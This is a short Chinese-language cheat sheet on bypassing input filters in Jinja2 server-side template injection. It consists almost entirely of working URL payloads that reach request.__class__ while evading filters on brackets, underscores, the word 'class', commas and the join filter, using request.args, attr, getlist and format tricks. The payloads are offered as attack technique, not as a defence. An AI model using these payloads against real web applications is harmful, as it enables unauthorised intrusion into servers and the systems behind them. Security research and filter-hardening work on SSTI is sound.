原理
首先以jinja2模板注入為例:
{{request[request.args.param]}} 可以用 {{request|attr(request.args.param)}} 替代繞過"["、"]"過濾
繞過的方式也就是同義語句轉化,下面給出其他的替換繞過"_"字符:
?exp={{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&usc=_&class=class
等同於 ?exp={{request|attr(["_"*2,"class","_"*2]|join)}}
等同於 ?exp={{request|attr(["__","class","__"]|join)}}
等同於 ?exp={{request|attr("__class__")}}
等同於 ?exp={{request.__class__}}
下面給出一些繞過姿勢,假如頁面本身注入參數為exploit,想注入的的語句為request.__class__
①繞過 "]"、"["、"_"、class等關鍵字
使用元組( )和通過傳遞另外的參數
?exploit={{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&usc=_&class=class
使用.getlist()優化(能夠繞過",")
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
②繞過"|join"
使用|format函數,可以通過傳入格式字符串%s,再傳入字符,來進行替換
?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a)|join
)}}&f=%s%sclass%s%s&a=_